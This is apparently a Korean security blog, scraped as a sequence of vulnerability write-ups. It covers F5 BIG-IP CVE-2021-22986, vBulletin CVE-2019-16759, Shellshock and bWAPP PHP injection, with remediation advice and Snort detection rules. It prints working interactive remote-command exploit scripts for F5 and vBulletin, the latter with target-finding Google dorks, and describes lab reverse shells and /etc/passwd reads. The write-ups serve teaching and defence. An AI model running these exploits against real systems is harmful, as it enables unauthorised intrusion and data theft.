	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])

[캡쳐 4] https://twitter.com/1zrr4h/status/1373206181955653632

3. 대응방안

- 최신 버전으로 업데이트

[캡쳐 5] 업데이트 코드(인증 우회 방지)

- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용
Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등

참고

CVE-2021-22986 (iControl REST unauthenticated remote command execution vulnerability)

#CVE #Exploit #F5 #BIG_IP #Security □ 주요 내용 / Main contents F5 BIG-IP : 로컬 ...

blog.naver.com

K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986 | AttackerKB

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x …

attackerkb.com

GitHub - jas502n/CVE-2021-22986-f5-ssrf-rce: CVE-2021-22986 & F5 BIG-IP RCE

CVE-2021-22986 & F5 BIG-IP RCE. Contribute to jas502n/CVE-2021-22986-f5-ssrf-rce development by creating an account on GitHub.

github.com

'취약점 > RCE' 카테고리의 다른 글

Spring Cloud Function RCE (CVE-2022-22963)  (0) 2022.11.15
Apache Struts 2 Namespace RCE (CVE-2018-11776)  (1) 2022.09.29
vBulletin Pre-Auth RCE(CVE-2019-16759)  (0) 2022.09.20
Bash Shell Shock(CVE-2014-6271)  (2) 2022.09.13
bWAPP PHP Code Injection  (0) 2022.07.29

1.vBulletin

- MH Sub I, LLC에서 판매 하는 독점 인터넷 포럼 소프트웨어 패키지
- PHP 로 작성되었으며 MySQL 데이터베이스 서버를 사용

[캡쳐 1] 쇼단 vBulletin 검색 화면

2. CVE-2019-16759

[캡쳐 2] https://nvd.nist.gov/vuln/detail/cve-2019-16759

- NVD를 통해 해당 CVE를 확인하면 취약한 버전의 vBulletin에 조작된 요청을 통해 원격 명령 실행이 가능함.

취약한 버전 : vBulletin 5.x ~ 5.5.4
원인 : ajax의 widgetConfig[code] 매개변수를 통해 원격 명령 실행을 허용

 

2.1) 취약점 분석

- 공격자가 조작된 요청을 보낼 경우 취약한 버전의 vBulletin의 동작 순서는 [캡쳐 3]과 같음.

- [캡쳐 3]의 ⑦ 과정을 통해 검증 및 인증 과정 없이 eval() 함수를 동작 시켜 결과를 반환하는 것을 확인할 수 있음.

[캡쳐 3] 동작 과정

2.2) PoC

 

Full Disclosure: vBulletin 5.x 0day pre-auth RCE exploit

 

seclists.org

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

 

[캡쳐 4] 취약점 결과 (https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

3. 대응방안

- 보안 패치 적용 (2019/09/25 release)

5.5.2 패치 레벨 1
5.5.3 패치 레벨 1
5.5.4 패치 레벨 1

참고 : https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4422707-vbulletin-security-patch-released-versions-5-5-2-5-5-3-and-5-5-4

 

- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단

<Snort Rule 예시>
alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)

1. Bash Shell Shock(CVE-2014-6271)

- 리눅스 계열 OS에서 주로 사용하는 GNU Bash에 공격자가 원격에서 악의적인 시스템 명령을 내릴 수 있는 취약점

- 환경변수를 통해 공격자가 원격으로 명령을 실행할 수 있음.

- 현재는 보안패치를 통해 취약점이 제거된 상태

[캡쳐 1] NVD CVE-2014-6271

2. 취약점 분석

2.1) 영향받는 bash 버전

Bash-4.2.45.5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

2.2) CGI (Common Gateway Interface)

- CGI란 웹서버와 외부 프로그램 사이에서 정보를 주고받는 방법이나 규약을 뜻함.

- 웹 서버와 사용자 프로그램 사이에서 정보를 주고받는  프로그램.

- 서버에 cgi-bin 폴더를 만든 후 내부에 스크립트 파일을 생성, 웹 서버가 CGI를 통해 cgi-bin에 접속 및 파일 실행 후 결과를 클라이언트에 응답.

- 현재는 서버단 스크립트 언어(Server-side Script Language : ASP, JSP, PHP 등)가 활성화되면서 많이 사용되지는 않음.

[캡쳐 2] CGI (https://velog.io/@seanlion/cgi)

- 모든 bash shell이 취약점에 노출되어있는 것이 아닌, 환경변수를 통해 bash를 호출할 수 있는 프로그램이 시스템에 존재할 경우 취약점에 노출되는 것으로, 대표적인 프로그램으로는 CGI가 있음.

2.3) 환경변수

- "자주 사용하는" 혹은 "필요한 변수들을 미리 선언해 놓은 변수"를 뜻함

- export 명령을 통해 선언하며, env 명령을 통해 선언된 전체 환경변수를 확인할 수 있음.

[캡쳐 3] 환경변수 x 선언 및 확인

- 환경변수로 함수를 선언하는 것 또한 가능하며, 함수는 다음과 같이 선언

[캡쳐 4] 환경변수 함수 선언 및 확인

- 만약, 환경변수의 값을 명령을 포함하여 함수와 비슷한 형태로 선언 후 bash 명령어를 통해 초기화할 경우

- 입력 값에 대한 유효성 검증을 하지않는 버그로 인해 명령어까지 환경변수로 등록되며, 이후 해당 변수 실행 시 해당 명령까지 실행되어 취약점이 발생.

[캡쳐 5] 취약점 발생

3. 공격 실습

 

PentesterLab: Learn Web App Pentesting!

This course details the exploitation of the vulnerability CVE-2014-6271. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI

pentesterlab.com

3.1) 피해자 환경

IP : 192.168.56.110
bash 버전 : 4.2.45(1)-releasa (i686-pc-linux-gnu)

[캡쳐 6] 취약한 버전의 bash

3.2) 공격자 환경

IP : 192.168.56.102

[캡쳐 7] /cgi-bin/status

- 웹 브라우저의 개발자 도구를 통해 확인해보면, "/cgi-bin/"의 "status" 스크립트를 실행시켜 결과를 반환함.

[캡쳐 8] /cgi-bin/status 결과

- /cgi-bin/status를 이용하는 과정을 악용해 취약점 사용이 가능함.

[캡쳐 9] 리버스쉘

- 공격자는 리버스쉘 연결을 위해 9999포트를 오픈한 후 조작된 요청을 전송함.

[캡쳐 10] 조작된 요청 전송

- 조작된 요청을 전송한 결과 공격자는 쉘을 획득하며 추가적인 명령을 수행할 수 있음.

[캡쳐 11] 공격자의 쉘 획득

- 뿐만아니라 공격자는 임의의 명령을 수행할 수 있음.

[캡쳐 12] ping 명령 및 /etc/passwd 내용 노출

- 와이어샤크를 통해 패킷을 확인해보면 다음과 같음.

[캡쳐 13] 200 응답값 확인

4. 대응방안

- 취약점이 패치된 bash 업데이트 적용.

- 사용하지 않는 CGI 서비스 삭제 또는 관련 서비스 중지

- 패킷을 분석하여 공격 패턴(ex. "() {" 등)을 등록하여 탐지 및 차단

 

참고

 

KISA 한국인터넷진흥원

□ FOCUS  ○ GNU Bash 원격코드실행 취약점 이슈 분석 및 대응방안 4

www.kisa.or.kr

- 해당 페이지는 message를 클릭하면 test가 출력된다.

[캡쳐 1] test

- URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다.

[캡쳐 2] GET 방식 데이터 전송

- message 파라미터의 값을 다른 값으로 변경하여 실행할 경우, 변경된 값이 출력되는 것을 확인할 수 있다.

[캡쳐 3] ggonmer

- PHP에는 eval()이나 exec() 함수를 사용한 경우 세미콜론(;)을 사용해 다른 함수를 실행할 수 있는 취약점이 있다.

exec() 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.
eval() 문자열을 PHP 코드로 실행해 준다.
system() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.
shell_exec() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.

- 해당 페이지에 php 취약점이 존재하는지 유무를 판별하기 위해 세미콜론(;)을 사용해 system()함수를 실행시켜 본다.

[캡쳐 4] system('ls -al')

- 실행 결과 ls -al 명령어의 결과로 파일 목록과 내용을 확인할 수 있다.

[캡쳐 5] cat /etc/passwd

- 사용자 계정 정보를 담고있는 파일인 /etc/passwd의 내용 역시 볼 수 있다.

[캡쳐 6] cat /etc/shadow

- /etc/shadow 파일의 내용은 출력되지 않는 것으로 보아 현재 웹 권한만 가지고 있고, 상위 권한의 사용자만 접근 가능한 파일의 경우 출력되지 않는 것을 알 수 있다. 

- nc 명령을 이용해 공격자의 PC로 연결도 가능하다..

-n 옵션 호스트 네임과 포트를 숫자로 출력
-l 옵션 Listen 모드로 Port 오픈
-v 옵션 더 많은 정보를 볼 수 있음
-p 옵션 포트를 지정

① 먼저 공격자가 NC 명령을 이용해 리스닝 포트를 오픈 후 대기한다.

-e 옵션 연결 생성 뒤 실행 프로그램 지정

② Bee-Box에서 해당 명령을 실행한다.

③ Bee-Box에서 Kali로 연결이 생성 및 공격자의 shell을 획득.

+ Recent posts